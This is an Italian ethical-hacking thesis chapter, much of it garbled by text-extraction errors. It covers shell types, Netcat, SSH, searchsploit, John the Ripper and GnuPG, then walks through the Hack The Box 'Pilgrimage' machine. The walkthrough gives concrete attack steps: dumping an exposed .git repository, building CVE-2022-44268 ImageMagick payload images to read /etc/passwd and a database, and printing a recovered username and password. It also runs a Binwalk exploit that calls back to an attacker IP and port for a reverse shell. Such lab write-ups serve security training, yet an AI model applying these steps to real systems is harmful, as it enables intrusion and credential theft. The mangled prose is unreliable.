lapossonoutfilfizzarepercercareopportunfitàdfiescalatfiondefiprfivfilegfi.Cfiòsfignfificache
tentanodfiottenerelfivellfipfiùelevatfidfiaccessoecontrollosulsfistema,checonsentono
lorodfiesegufireoperazfionficonprfivfilegfiammfinfistratfivfiodfiroot.Quest’ultfimofenomenoè
denomfinatoPrfivfilegeescalatfion.

NelcasodfiunsfistemaoperatfivocomeKalfiLfinuxsfihannoduetfipfidfiShellottenfibfilfi:
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•BfindShell:èuntfipodfishellremotafincufiun’applficazfioneounservfizfiosulsfistema
targetapreunaportaspecfificaerestafinascoltodelleconnessfionfifinarrfivo.L’attaccante,
qufindfi,sficonnetteaquestaportadaunaltrosfistemaestabfilfisceunasessfionedfishell
remotaconfilsfistemabersaglfio.Eccospfiegatofilsuofunzfionamento:

–Ilsfistematargetavvfiaun’applficazfioneounservfizfio(adesempfio,unserverTelnet
oSSH)cheascoltasuunaportaspecfifica(adesempfio,laporta22perSSH).

–L’attaccante,daunaltrosfistema,utfilfizzaunostrumentoouncomandoper
connettersfiallaportaspecfificaapertasulsfistematarget.

–Unavoltastabfilfitalaconnessfione,l’attaccanteottfieneunashellremotasulsfiste-
mabersaglfioepuòesegufirecomandficomesefossefisficamentepresentesulla
macchfina.

Labfindshellèutfilequandol’attaccantehalacapacfitàdficonnettersfidfirettamenteal
sfistemabersaglfioevuoleottenereunaccessofinterattfivo.

•ReverseShell:essafunzfionafinmodooppostorfispettoallaBfindShell.Osservfiamonefil
funzfionamento:

–L’attaccantecomprometteunsfistematargetefafin modochequestosfistemasfi
connettaaunservercontrollatodall’attaccante.

–Unavoltacompromesso,filsfistemabersaglfioavvfiaunaconnessfionedfireteal
serverdell’attaccanteanzfichéattendereconnessfionfifinarrfivo.

–Quandolaconnessfionevfienestabfilfita,l’attaccanteottfieneunashellremotasul
sfistemabersaglfio,consentendodfiesegufirecomandfinelcontestodelsfistema
bersaglfio.

Lareverseshellèpartficolarmenteutfilequandol’attaccanteèdfietrounfirewallouna
reteprotettaenonpuòstabfilfirefacfilmenteunaconnessfionedfirettaalsfistemabersaglfio.

LaFfigura2.5fillustrafin modofintufitfivoleprfincfipalfidfifferenzetrabfindshellereverse
shell.

Ffigura2.5:DfifferenzatraBfindShelleReverseShell



§2.4− Shell 31

2.4.1 Netcat

Netcat,spessoabbrevfiatocome"nc",èunostrumentodfireteversatfileepotenteutfilfizzato
percreareconnessfionfidfirete,finvfiaredatfitracomputeresvolgerevarfieoperazfionfidfirete.È
notocomefil"caccfiavfitesurete"acausadellasuaversatfilfitàedellenumerosefunzfionfiche
offre.EccoalcunedelleprfincfipalficaratterfistficheeutfilfizzfidfiNetcat:

•Creazfionedficonnessfionfidfirete:NetcatpuòessereutfilfizzatopercreareconnessfionfiTCPo
UDPtracomputer,consentendolacomunficazfionefintemporealetradfiessfi.

•Portscannfing:Netcatpuòessereutfilfizzatoperesegufirescansfionfidfiportesuunhost
perfidentfificareleporteaperteefiservfizfifinesecuzfione.

•Portknockfing:Netcatpuòessereutfilfizzatoperquestatecnficadfisficurezzafincufiuna
sequenzaspecfificadficonnessfionfialleportevfieneutfilfizzataperaprfireunaporta
normalmentechfiusa.

•Reverseshell: Netcatèspessoutfilfizzatopercreareuna"reverseshell",consentendo
aunutenteremotodfiottenereaccessoaunashellfinterattfivasuunsfistematarget
compromesso.

Rfiguardoall’ultfimocaso,ossfiaallacreazfionedfiunareverseshell,comesfinotanella
Ffigura2.6,filprfimopassoconsfistenell’fimpostareunascoltatoresulla macchfinatarget,fin
modotaledaagfirecomeunservereascoltareleconnessfionfifinentrata.

Ffigura2.6:Esempfiod’usodfiNetcat

Inquestoesempfiosfiapreunaconnessfionedfiretedall’findfirfizzoIP10.10.11.219,
allaporta4444delsfistemaperascoltareleconnessfionfifinarrfivo,specfificandol’opzfione
-nvlpossfiache Netcatdeveessereesegufitofin modalfità"lfistener"sullaportasuddetta,
senzarfisoluzfioneDNS,conlamodalfità"verbose"attfivata,permostraredettaglfiaggfiuntfivfi
sull’attfivfitàdfireteedficonnessfione.Durantelaconnessfione,èstatofinvfiatofilcomando"fid"e
comeoutputsfinotachesfièesegufitotalecomandoconprfivfilegfidfiammfinfistratore(UID 0)e
chesfièl’utenteroot.

2.4.2 SecureShell

SSH(SecureShell)èunprotocollodfiretechefornfisceunaccessosficuroaficomputerre-
motfiperchécrfittografatuttelecomunficazfionfitraclfienteserver.Inaltreparole,SSHconsente
dficostrufireuncosfiddettotunnelSSH;adun’estremfitàdfiquestotunnelfidatfivengonocrfitto-
grafatfiefinvfiatfimentreall’altraestremfitàvengonorficevutfiedecrfittatfi.Essendounprotocollo
moltoversatfile,puòessereutfilfizzatoperunavarfietàdfiattfivfità,comel’ammfinfistrazfione
remotadfiserver,l’accessoafileremotfiefildebugdfiproblemfidfirete.SSHèfinclusonella
maggfiorpartedelledfistrfibuzfionfiLfinuxe MacOSXepuòesserefinstallatoanchesusfistemfi
Wfindows.

UnodefiprfincfipalfivantaggfidfiSSHèchecrfittografatuttofiltrafficotrafilclfientefilserver,
rendendodfifficfileperglfiutentfinonautorfizzatfilosnfiffingdellaconnessfione.
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Comegfiàaccennato,èpossfibfilestabfilfireunaconnessfioneSSHsficurasolosenelprocesso
sonocofinvoltfiduesfistemfi;questfisonounclfient,ovveroundfisposfitfivolocaledacufil’utente
eseguefilcontrolloremoto,eunserver,ovverouna macchfinaremotacontrollatadavarfi
comandfichevengonogestfitfidall’finterpretedeficomandfi(shell).Èfimportantecapfirecheè
possfibfileconnettersfialserversolosesudfiessoèfinstallatounsoftwarespecfialedenomfinato
Deamon.Senzadfiesso,l’utentenonsaràfingradodfiaccederealserveredfiutfilfizzareporte
SSHsficureduranteloscambfiodfidatfi.Questacondfizfionesfiapplficaanchealdfisposfitfivo
dell’utente;sudfiessodeveesserefinesecuzfioneunospecfialeprogrammaclfient.Adesempfio,
susfistemfioperatfivficomeLfinux,filprogrammaOpenSSHèfinstallatocomefimpostazfione
predefinfita.L’finterazfionesficuratraclfienteserverèchfiamatasessfioneSSH.

Quandocfisficonnetteaunserver,SSHèresponsabfiledfistabfilfireunaconnessfionecrfit-
tografatafinmodochefidatfipossanoesserefinvfiatfiavantfiefindfietrofinmodosficuro.Perla
crfittografia,SSHutfilfizzachfiavfispecfialfichecodfificanotuttfifidatfitrasmessfitrafilclfiente
l’host.

NellaFfigura2.7sfipuòosservarel’avvfiodfiunaconnessfioneSecureShellaunhostremoto
conl’findfirfizzoIP10.10.11.219,utfilfizzandol’accountdell’utente"emfily".

Ffigura2.7:AvvfiodfiunaconnessfioneSSH

2.5 Explofitatfion

L’explofitatfionèunafasechfiavenell’ambfitodellasficurezzafinformatficaedefitestdfi
penetrazfione(penetratfiontestfing).Rappresentafil momentofincufiglfiespertfidfisficurezza
finformatficacercanodfisfruttarelevulnerabfilfitàeledebolezzenefisfistemfifinformatficfi,nelle
applficazfionfionelleretfialfinedfiottenereunaccessononautorfizzatooesteso.Questafase
èfondamentalepervalutarelasficurezzadfiunsfistemaeperfidentfificareeventualfirfischfidfi
sficurezza.

Nellafasedfirficercadfiunavulnerabfilfità,cfipossonoesseredfiversfiexplofitcondfifferente
affidabfilfità,ma,fingenerale,lasorgentedacufisfiattfingeè"explofit-db.com",conlaversfionea
rfigadficomandosearchsplofit.InoltrenotfiamocomefisoftwaremessfiadfisposfizfionedaKalfi
Lfinux,adesempfioJohnTheRfippereGnuPG,svolgonounruolocoadfiuvantenellafasedfi
explofitatfion.

2.5.1 Searchsplofit

Alfinedfiverfificareselaversfionedfiunservfizfioèvulnerabfile,granpartedefipenetratfion
testervaaconsultarefildatabasepresentealseguentefindfirfizzo"explofit-db.com".Perfincremen-
tarel’efficfienzadfitaledatabase,èstatafintrodottaunaversfionedelsfitodarfigadficomando
denomfinatasearchsplofit.Talestrumentopresentaduegrandfivantaggfi,ovvero:
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•NonèrfichfiestoInternetperfilsuoutfilfizzo:quandosfieffettuanopenetratfiontestorficerchedfi
vulnerabfilfitàfinretfiosfistemfichepotrebberoesseremonfitoratfi,l’usodfiunaconnessfione
aInternetpuòessererfilevato.UtfilfizzandoSearchsplofitoflfinesfirfiducefilrfischfiodfi
esserescopertfiattraversofiltrafficodfireteanomalo.

•Èesegufibfiledatermfinale,garantendounfimpfiegoagfileefintufitfivo.

SearchsplofitnonèfinclusoneltoolkfitdfibasedfiKalfiLfinux,mapuòesserescarficatodaun
reposfitoryGfitHubaventefilseguentefindfirfizzo"https://gfitlab.com/explofit-databa
se/explofitdb".

NellaFfigura2.8sfieseguefilcomandosearchsplofit bfinwalkpercercareall’finterno
deldatabaseExplofitDatabasefinformazfionfisuglfiexplofit(dettaglfisudfiessfi,levulnerabfilfità
elefinformazfionficorrelate)relatfivfiaBfinwalk,untoolperl’analfisfidfifilebfinarfi.L’output
dfiquest’ultfimocomandorestfitufisceunfiledfinome51249.py,filecheverràutfilfizzatoper
prosegufireconl’explofitatfion.

Ffigura2.8:Esempfiod’usodfiSearchsplofitdatermfinale

2.5.2 JohnTheRfipper

JohntheRfipperèunodefipfiùfamosfiepotentfistrumentfidfirecuperodellepassword
dfisponfibfilfinell’ambfitodellasficurezzafinformatfica.Ilsuoscopoprfincfipaleèquellodfitestare
evalutarelasficurezzadellepassword,cercandodfirecuperarleattraversovarfietecnfichedfi
crackfing.Questetecnfichefincludono:

•L’attaccoadfizfionarfio(Dfictfionaryattack):sfibasasull’usodfiunfiledfizfionarfiocontenente
unalfistadfiparoleofrasficomunfi,finsfiemeapossfibfilfivarfiantfi.Ilsoftwareverfificaognfi
parolaofraseneldfizfionarfiocercandodfifindovfinarelapassword.

•L’attaccoaforzabruta(BruteForceattack):JohntheRfipperprovaognfipossfibfilecom-
bfinazfionedficaratterfifinoaquandonontrovalapasswordcorretta.Questometodoè
estremamentefintensfivofintermfinfidfirfisorseerfichfiedemoltotempopertermfinare,ma
rappresental’approccfiopfiùcompleto.

NellaFfigura2.9sfinotacomel’fimpfiegodfiJohnTheRfippercomesoftwareperfilcrackfing
dfipasswordèfondamentaleperdecfifrareunhashutfilfizzandounawordlfistspecfificandofil
percorsoefilnomedelfilecontenentel’hash.

2.5.3 GnuPG

GnuPG,chestaperGNUPrfivacyGuard,èunsoftwareopen-sourceegratufitoprogettato
perlacrfittografiaelafirmadfigfitale.Sfitrattadfiunostrumentoessenzfialepergarantfirela
prfivacy,larfiservatezzadefidatfielasficurezzadellecomunficazfionfifinunmondodfigfitale.GPG
cfifrafimessaggfiutfilfizzandounacoppfiadfichfiavfi(pubblficaeprfivata)generatedall’utente.
Lechfiavfipubblfichepossonoesserescambfiatetraglfiutentfifinvarfi modfi,prfincfipalmente
emafilekeyserver.Tuttavfiabfisognaprestarepartficolareattenzfioneallacorrfispondenzatra
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Ffigura2.9:EsempfiodficrackfingdfiunHashtramfiteJohnTheRfipper

chfiavee(presunta)fidentfità:filproblemadfituttfifisfistemfidficrfittografiaasfimmetrficaèla
certfificazfionedell’autentficfitàdellachfiave,solfitamenterfisoltoconlapresenzadfiun’autorfità
centraleoppureconlafirmadellechfiavfi(unutentefirmalachfiavepubblficadfiunaltroutente
percertfificarnel’effettfivaautentficfità).Suquestodelficatopuntosfibasaanchelafirmadfigfitale
dfifile(messaggfi)pergarantfirel’autentficfitàdelcontenutoedelmfittente.

Tuttavfia,GnuPGpuòavereunruolofindfirettoocoadfiuvantefinalcunfiscenarfidfisficurezza
finformatfica.EccoalcunesfituazfionfifincufiGnuPGpotrebbeesserecofinvolto:

•Comunficazfionfisficuretraattaccantfi:sepfiùattaccantficollaboranosuunprogettooun
penetratfiontest,potrebberoutfilfizzareGnuPGperproteggerelelorocomunficazfionfi.Ad
esempfio,potrebberocfifrarefimessaggfielefinformazfionfisensfibfilfiperevfitarecheterze
partfinonautorfizzateaccedanoafidettaglfidelprogetto.

•Protezfionedellechfiavficrfittografiche:nelcasofincufiglfiattaccantfiutfilfizzfinochfiavficrfitto-
graficheperscopfispecfificfi,GnuPGpuòessereutfilfizzatoperproteggerequestechfiavfi
conpasswordsficureopercrfittografarlesudfisposfitfivfidfiarchfivfiazfione.

•Comunficazfionfisficureconterzepartficollaboratrficfi:seglfiattaccantfidevonocomunficarefin
modosficuroconterzepartficollaboratrficfi,adesempfioazfiendechefornfisconoservfizfio
finformazfionfi,potrebberoutfilfizzareGnuPGpercfifrarelecomunficazfionfifinmodoche
sololepartfiautorfizzatepossanoaccedereafidatfi.

SfirficordficheGnuPGèprefinstallatoneltoolkfitfinfizfialemessoadfisposfizfionedalsfistema
operatfivoKalfiLfinux.

NelcasomostratofinFfigura2.10,vfienegenerataunachfiavepubblficanelcuficampocorrfi-
spondenteaNome e Cognome,comesfipuònotarenelrfiquadroevfidenzfiatofinrosso,vfiene
finserfitouncomandorelatfivoadunframmentodficodficefinPythonconl’fintentodfiesegufire
un’operazfioneall’finternodell’finterpretePythonstesso,perprosegufireconl’explofitatfion.

Ffigura2.10:EsempfiodfigenerazfionedfichfiavepubblficatramfiteGnuPGnelcorsodfiunpenetratfion
test



CAPITOLO 3

Un primo test di Ethical hacking

Nel corso di questo capitolo, come per i due successivi, esploreremo in dettaglio il processo di esecuzione
di un penetration test su una macchina virtuale. Descriveremo metodi e tecnologie necessari all’ottenimento
dell’accesso al sistema User e al sistema Root. In questo caso, la macchina target, messa a disposizione
dalla piattaforma di sicurezza informatica Hack The Box (HTB), descritta nella Sezione 2.2, è denominata
"Pilgrimage" ed è basata sul sistema operativo Linux.

3.1 Information Gathering

Il passo preliminare, come si nota nella Figura 3.1, è la creazione di una sottocartella della
cartella Documenti, avente lo stesso nome della macchina bersaglio, in modo tale che tutte le
azioni, i file e i tool saranno contenuti nella suddetta cartella.

Figura 3.1: Creazione cartella di nome Pilgrimage

Successivamente ci si collega alla corrispondente VPN del sito di HackTheBox, attraverso
il download del file .ovpn e l’esecuzione del comando sudo openvpn lab_Trust14.ov
pn, e si avvia la macchina Pilgrimage.

Una volta effettuato ciò, si inizia con l’enumerazione attraverso il comando nmap -sC
-sV -Pn 10.10.11.219, dove l’indirizzo IP corrisponde a quello della macchina Pilgri-
mage. Nel comando, come si osserva nelle Figure 3.2 e 3.3, sono stati utilizzati i seguenti
parametri:

• -sC (equivalente a "script=default"); indica a Nmap di eseguire gli script di scansione
predefiniti, i quali forniscono informazioni sui servizi e sulle potenziali vulnerabilità;

• -sV; consente di sondare le porte aperte determinando le informazioni sui servizi in
ascolto su queste ultime e identificando le versioni;

• -Pn; specifica di ignorare il discovery di host e di considerare il bersaglio come online
indipendentemente dal suo stato.

35
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Ilrfisultatodfiquestocomandoèunelencodfiporteaperte;finpartficolare,questeultfime
sonodueovvero:

•Porta22:filservfizfiofinascoltoèSSH(SecureShell),cheèunprotocollodfiretecrfittogra-
fatoutfilfizzatoperlagestfioneremotasficuradfisfistemfi;

•Porta80:filservfizfiofinascoltoèHTTP(protocolloweb),e"http-gfit"findficacheèstata
trovataun’findficazfionedfiunreposfitoryGfitsuquestoservertramfitel’analfisfidell’HTTP.
Invece,10.10.11.219:80/.gfit/èl’URLdelreposfitoryGfitrfilevatoall’finternodella
dfirectory.gfitsullaporta80.

Ffigura3.2:Prfimapartedell’outputdelcomandoNmap

Ffigura3.3:Secondapartedell’outputdelcomandoNmap

Notfiamoche,dfigfitando10.10.11.219:80/.gfit/,sfihacomerfisultato"403Forbfidden",
cheèuncodficedfistatoHTTPrestfitufitodaunserverwebquandounarfichfiestadfiaccessoa
unarfisorsaèstatarfifiutataperchéfilclfientnonhafipermessfinecessarfiperaccedervfi.

Inoltre,sfinotachenelcampo“http-tfitle”vfièfiltfitolodellapagfinawebrfilevatoattraverso
l’analfisfiHTTP,ossfia"Pfilgrfimage-ShrfinkYourImages".

ComemostratofinFfigura3.4,tramfitefilcomando"sudo nano /etc/hosts",sfiapree
sfimodfificafilfiledficonfigurazfionedeglfihostsulsfistemaLfinux,creandoun’assocfiazfionetra
l’findfirfizzoIP"10.10.11.219"dellamacchfinaPfilgrfimageefilnomedfidomfinfio"pfilgrfimage.
htb".

10.10.11.219:80/.git/
10.10.11.219:80/.git/
Pilgrimage - Shrink Your Images
pilgrimage.htb
pilgrimage.htb
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Ffigura3.4:Modfificadelfile /etc/hosts

3.2 VulnerabfilfityAnalysfis

Aquestopunto,basandocfisullefinformazfionfiraccoltedurantel’finformatfiongatherfing,sfi
passaall’analfisfidellevulnerabfilfità.NellaFfigura3.5,procedfiamoacollegarcfialsfitowebdella
macchfinaaventetfitolo"Pfilgrfimage - Shrfink Your Images"attraversol’findfirfizzoIP:
http://10.10.11.219.

Ffigura3.5:PagfinadelsfitoPfilgrfimage

Utfilfizzandofilcomando"python3 -m gfit_dumper http://pfilgrfimage.htb/.gfi
t/ gfit",filcufioutputvfienemostratofinFfigura3.6,effettufiamo,tramfitel’finterpretepython3
efiltoolgfit-dumper,fildumpdfiunreposfitorygfitfindficandonefillfink.Comerfisultatoavremo
varfiedfirectorycorrfispondentfiadefifilegfit.

Ffigura3.6:Outputdelcomandoutfilfizzandol’finterpretepython3

Peraveremaggfiorfifinformazfionfi,filprossfimostepèesegufirefilcomando“gobuster dfir
-u http://pfilgrfimage.htb -w /usr/share/wordlfists/dfirbuster/dfirectory
-lfist-2.3-medfium.txt -x php,txt,png,html”.

http://10.10.11.219
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Quest’ultfimoèutfilfizzatoperesegufireunascansfionedfidfirectorysulsfitoweb"http:
//pfilgrfimage.htb"utfilfizzandounalfistadfipossfibfilfinomfidfidfirectoryefilefornfitfinelfile
"dfirectory-lfist-2.3-medfium.txt"conl’obfiettfivodfifindfivfiduaredfirectoryefileconle
estensfionfi".php",".txt",".png"e".html"all’finternodelsfitoweb(Ffigura3.7).

Ffigura3.7:OutputdelcomandoGobuster

Sfiprovaacercaresulmotoredfirficercaladfirectoryevfidenzfiatafinblunellaprecedente
fimmagfineesfiosservafilrfisultatopresentenellaFfigura3.8:

Ffigura3.8:Rfisultatodellarficercadfihttp://pfilgrfimage.htb/tmp/

Provfiamoacercaresulmotoredfirficercafilfile/logfin.phpanteponendoallfinklaparola
chfiavevfiew-source;comesfipuòrfiscontrarefinFfigura3.9,avremocomerfisultatolapagfina
sorgentedellacorrfispondenteschermatadfilogfindelsfitocollegatoallamacchfinaPfilgrfimage.

Ffigura3.9:Rfisultatodellarficercadfivfiew-source:http://pfilgrfimage.htb/logfin.php

http://pilgrimage.htb
http://pilgrimage.htb
http://pilgrimage.htb/tmp/
view-source:http://pilgrimage.htb/login.php
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3.3 Explofitatfion

Sfruttfiamo,dunque,lefinformazfionfiappenareperfitepercercaresulbrowsereventualfivul-
nerabfilfitàdfitalesoftwareedeffettfivamentetrovfiamolapresenzadell’explofitCVE-2022-44268,
chepermettel’esecuzfionedficodficedaremotosenzaautentficazfione.L’explofitèstatotrova-
tonellaseguentepagfinaGfitHub"https://gfithub.com/vofidz0r/CVE-2022-44268".
NellaFfigura3.10vfienemostratol’effettfivoclonaggfiodell’explofitdatermfinalenellacartella
pfilgrfimage,attraversofilcomandogfit clone https://gfithub.com/vofidz0r
/CVE-2022-44268.

Ffigura3.10:ClonaggfiodfiCVE-2022-44268

NellaFfigura3.11,verfifichfiamofilcontenutodfiCVE-2022-44268:

Ffigura3.11:ContenutodfiCVE-2022-44268

Aquestopuntocarfichfiamosulsfitodella macchfinaPfilgrfimagefilfile fimage.pnge,
clficcandosulpulsante“shrfink”,comesfinotanellaFfigura3.12,filsfitocfioffrfiràunlfink
corrfispondenteall’fimmagfinecompressaconunnumerorandomficomantenendol’estensfione
.png.

Ffigura3.12:Inserfimentodfifimage.pngsulsfitoPfilgrfimageconconseguenteproduzfionedfilfink

https://github.com/voidz0r/CVE-2022-44268
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Orautfilfizzfiamounavulnerabfilfitàdelsoftwareopen-sourceImageMagfickusatoperma-
nfipolarefimmagfinfi,finpartficolareconvertfire,modfificareegenerarefimmagfinfifinvarfiforma-
tfi,nelnostrocaso“.png”.L’explofitèstatoprocuratodalseguentesfitoGfitHub:https:
//gfithub.com/Sybfil-Scan/fimagemagfick-lffi-poc. DfisegufitoledueFfigure3.13
e3.14descrfivonolapagfinagfithubefilclonaggfiodelsoftwareImageMagficknellacartella
pfilgrfimage.

Ffigura3.13:PagfinaGfitHubdfiImageMagfick

Ffigura3.14:ClonaggfiodelsoftwareImageMagfick

Verfifichfiamofilcontenutodellacartellaappenafinstallatadfinome“fimagemagfick-lffi-
poc”edesegufiamofilcomandopython3 generate.py -f "/etc/passwd" -o pass
wd.pngfilcufiscrfiptstagenerandoun’fimmagfine.pngvuotachefincorporaunpayload
progettatoperleggerefilcontenutodelfile"/etc/passwd"dalsfistema.Ilfilerfisultanteè
statodenomfinato"passwd.png".CfiòpuòessereosservatonelleFfigure3.15e3.16.

Ffigura3.15:Comandopergenerarefilfilepasswd.png

https://github.com/Sybil-Scan/imagemagick-lfi-poc
https://github.com/Sybil-Scan/imagemagick-lfi-poc
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Ffigura3.16:Contenutodellacartellafimagemagfick-lffi-poc

TornfiamosulsfitoPfilgrfimageecarfichfiamofilfilepasswd.pngottenendofilseguentelfink:
http://pfilgrfimage.htb/shrunk/64d63ee35a903.png.

NellaFfigura3.17,utfilfizzandofilcomandowget http://pfilgrfimage.htb/shrunk/
64d63ee35a903.png,scarfichfiamofilfilefimmagfinePNGdall’findfirfizzowebspecfificatoelo
salvfiamoconfilnome"64d63f050016e.png"nelladfirectory/Documentfi/pfilgrfimage/
fimagemagfick-lffi-poc,verfificandopofilarfiuscfitadelsalvataggfio.

Ffigura3.17:Clonaggfiodelfile64d63f050016e.png

Dfigfitandofilcomandoexfiftool 64d63f050016e.pngsfieseguel’analfisfidefimetadatfi
assocfiatfialfilefimmagfine"64d63f050016e.png".Irfisultatfidelcomando, mostratfinella
Ffigura3.18,rfiguardanotuttelefinformazfionfidfimetadatfidfisponfibfilfiperl’fimmagfine,come
autore,datadficreazfione,dfimensfionfi,rfisoluzfione,profilo,colore,ealtreproprfietàsfimfilfi.

Ffigura3.18:Outputdelcomandoexfiftool 64d63f050016e.png

http://pilgrimage.htb/shrunk/64d63ee35a903.png
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ServendocfidelsfitoCyberChef(https://gchq.gfithub.fio/CyberChef/),strumento
onlfineeopen-sourcechepermettedfiesegufireunavastagammadfioperazfionfidfitrasforma-
zfione,decodfificaecodfificasudatfitestualfiobfinarfi,efincollandofilrfisultatodelcomando
precedente,purtropponontrovfiamoalcunafinformazfioneutfile.

Qufindfiprovfiamoafarealtro,ossfiaadfigfitarefilcomandopython3 generate.py -f
"/var/db/pfilgrfimage" -o database.pngpergenerareunfile.pngvuoto(Blank
PNG),denomfinatodatabase.png,utfilfizzandoloscrfiptchfiamatogenerate.py,eper
pfiazzareunpayloadperleggerefilcontenutodalpercorso/var/db/pfilgrfimage.Cfiò
vfiene mostratofinFfigura3.19.LoscrfipttentadfisfruttareunavulnerabfilfitàdfiLocalFfile
Inclusfion(LFI)finImageMagfick.

Ffigura3.19:GenerazfionedelBlankPNGdatabase.png

Carfichfiamodatabase.pngsulsfitodfiPfilgrfimagee,comealsolfito,otterremounlfinkcon-
tenentel’fimmagfinecompressa:http://pfilgrfimage.htb/shrunk/64d644087e7da.p
ng.Inoltre,comeosservfiamofinFfigura3.20,salvfiamol’fimmagfinenellacartellafimagemagfick
-lffi-pocattraversofilcomandowget.

Ffigura3.20:Salvataggfiodell’fimmagfinecompressa64d644087e7da.png

Esegufiamofilcomandofidentfify -verbose 64d644087e7da.pngchedaràcomerfi-
sultatounoutputdettaglfiatochedescrfivelecaratterfistfichedell’fimmagfine64d644087e7da.
pngcomesfipuònotarenelleFfigure3.21e3.22.

Ffigura3.21:Prfimapartedell’outputdelcomandofidentfify -verbose

https://gchq.github.io/CyberChef/
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Ffigura3.22:Secondapartedell’outputdelcomandofidentfify -verbose

IncollfiamounapartedelrfisultatoavutosulsfitoCyberChefescoprfiamofinformazfionfi
moltofimportantfi:filnomedfiunutenteUser(emfily)elasuapassword(abfigchonkybofi123),
comemostratofinFfigura3.23.

Ffigura3.23:RfisultatoottenutosuCyberChef

NellaFfigura3.24,sfiavvfiaunaconnessfioneSSH(SecureShell),trattatanellaSezfione2.4.2,
aunhostremotoconl’findfirfizzoIP10.10.11.219,utfilfizzandol’accountdell’utente"emfily"e
finserendolapasswordappenatrovata.



§3.4− Post-Explofitatfion 44

Ffigura3.24:AvvfiodellaSecureShell

Tramfitefilcomandols,nellaFfigura3.25,ottenfiamol’elencodefifilepresentfi.Nelnostro
casoèpresentesoltantofilfiledfinome“user.txt”evfisualfizzfiamofilcontenutotramfitefil
comandocat user.txtfinmodotaledareperfirelaUserlag.

Ffigura3.25:ScopertadellaUserFlag

3.4 Post-Explofitatfion

Facendofilpuntodellasfituazfione,èstatoottenutofilcontrollodellaShellutente, ma
èfimportanteprosegufirelarficercaperarrfivareallaShellRoot.PerdetermfinarelaRoot
Flag,mantenendol’accessoall’accountEmfily,verfifichfiamocosavfièpresentenelladfirectory
/var/www/pfilgrfimage.htb/shrunk/erfimuovfiamotuttfiglfielementfipresentfi.Cfiòsfi
rfiscontranellaFfigura3.26.

Ffigura3.26:Rfimozfioneelementfipresentfifin/var/www/pfilgrfimage.htb/shrunk/

NellaFfigura3.27,suun’altrafinestradeltermfinalecfirechfiamodelladfirectory/opte,
dfigfitandofilcomandopython -m http.server,utfilfizzandoPython,avvfiamounserver

/var/www/pilgrimage.htb/shrunk/
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webcherfispondeallerfichfiesteHTTP.Ilserverwebèfinascoltosullaporta8000e,qufindfi,
accettalerfichfiesteHTTPfinvfiateaquestaporta.

Ffigura3.27:Avvfiodelserverwebsullaporta8000

Scarfichfiamofilfiledfinomepspy64nelladfirectory/tmptramfitefilcomandowget
http://10.10.14.150:8000/pspy64specfificandol’findfirfizzoIPdellamacchfina(10.10
.14.150)elaporta8000(Ffigura3.28).

Ffigura3.28:Salvataggfiodelfilepspy64

Ilfilepspy64rappresentaunostrumentoarfigadficomandoprogettatopercurfiosarenefi
processfisenzabfisognodfipermessfidfirooteconsentedfivedereficomandfiesegufitfidaaltrfi
utentfi.Losfirendeesegufibfiletramfitefilcomandochmod +x pspy64elosfiesegueavendo
comerfisultatocfiòchevfienemostratofinFfigura3.29.

Ffigura3.29:Esecuzfionedfipspy64

Nell’outputtrovfiamounapartemoltofinteressante/bfin/bash/usr/sbfin/malwares
can.sh;essofindficachefilprocessoconPID655staeseguendofilcomando/bfin/bash,che
èfilpercorsodell’finterpretedellashellBash,segufitodalpercorsocompletodfiunfilechfiamato
malwarescan.sh.Cfiòsuggerfiscechefilprocessostaeseguendounoscrfiptdfiscansfionedfi
malware.

Tramfitefilcomandocatvfisualfizzfiamofilcontenutodelloscrfiptchfiamatomalwarescan.
shsfituatonelladfirectory/usr/sbfin(Ffigura3.30).
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Ffigura3.30:Vfisualfizzazfionedelloscrfiptfinbash

Sfinotachel’obfiettfivodfiquestoscrfiptsembraesserequellodfirfilevareerfimuovere
filechecorrfispondonoadetermfinatfitfipfidficontenutfisospettfiopotenzfialmentedannosfi.
Inpartficolarebfinout="$(/usr/local/bfin/bfinwalk -e "$ffilename")":eseguefil
comandobfinwalksulfileappenacreatoperesamfinarnefilcontenutoeottenerefinformazfionfi
suglfieventualfifilefincorporatfi.L’outputvfiene memorfizzatonellavarfiabfilebfinout.Per
questomotfivosfièscarficatounfiledfiexplofit,chepuòesseretrovatonell’findfirfizzohttps:
//www.explofit-db.com/explofits/51249,specfificamenteprogettatopersfruttarela
vulnerabfilfitàperesegufirecomandfiarbfitrarfisulsfistemafincufièpresenteBfinwalk(Ffigura
3.31).

Ffigura3.31:Pagfina Webrfiguardantel’explofitBfinwalk

Aquestopuntonelladfirectory/Scarficatfisfidfigfitafilcomandosearchsplofit bfinwa
lkpercercareall’finternodeldatabaseExplofitDatabasefinformazfionfisuglfiexplofitrelatfivfia
Bfinwalk(dettaglfisuglfiexplofit,vulnerabfilfitàefinformazfionficorrelate),untoolperl’analfisfidfi
filebfinarfi(Ffigura3.32).L’outputdfiquest’ultfimocomandomostraunfiledfinome51249.py
cheèproprfiofilfiledfiscrfipt,scrfittofinlfinguaggfiodfiprogrammazfionePython,scarficatofin
precedenzadalmotoredfirficerca.

Ffigura3.32:Rfisultatodelcomandosearchsplofit bfinwalk

https://www.exploit-db.com/exploits/51249
https://www.exploit-db.com/exploits/51249
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Successfivamentefilcomandosearchsplofit -m python/remote/51249.pyvfiene
utfilfizzatopercopfiareunexplofitspecfificodallabasedfidatfidfiExplofitDatabasenelladfirectory
/Documentfi/fimagemagfick-lffi-poc,comemostratofinFfigura3.33.

Ffigura3.33:Informazfionfisull’explofit51249.py

InFfigura3.34confilcomandopython3 51249.py CVE-2022-44268esegufiamolo
scrfiptPythondenomfinato51249.py.

Ffigura3.34:EsecuzfionedelloscrfiptPython

Pofi,tramfitefilcomandopython3 51249.py CVE-2022-44266/fimage.png 10.10
.14.150 4444,esegufiamoloscrfiptscrfittofinPythonsulfilefimage.pngspecfificando
l’findfirfizzoIPdellamacchfina(10.10.14.150)elaportafinascolto(4444),comesfivedefinFfigura
3.35.

Ffigura3.35:EsecuzfionedelloscrfiptPythonsulfilefimage.png
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Sempresullastessadfirectory,dfigfitandofilcomandopython -m http.server,sfiav-
vfieràunserverwebcherfisponderàallerfichfiesteHTTP.Ilserverwebèfinascoltosullaporta
3000e,qufindfi,accetteràlerfichfiesteHTTPfinvfiateaquestaporta(Ffigura3.36).

Ffigura3.36:AvvfiodelServer Webfinascoltosullaporta3000

Tornandosull’accountdfiemfily,filfilebfinwalk_explofit.pngverràscarficatodalserver
remotoesalvatonelladfirectory/var/www/pfilgrfimage.htb/shrunk(Ffigura3.37).

Ffigura3.37:Scarficamentodelfilebfinwalk_explofit.png

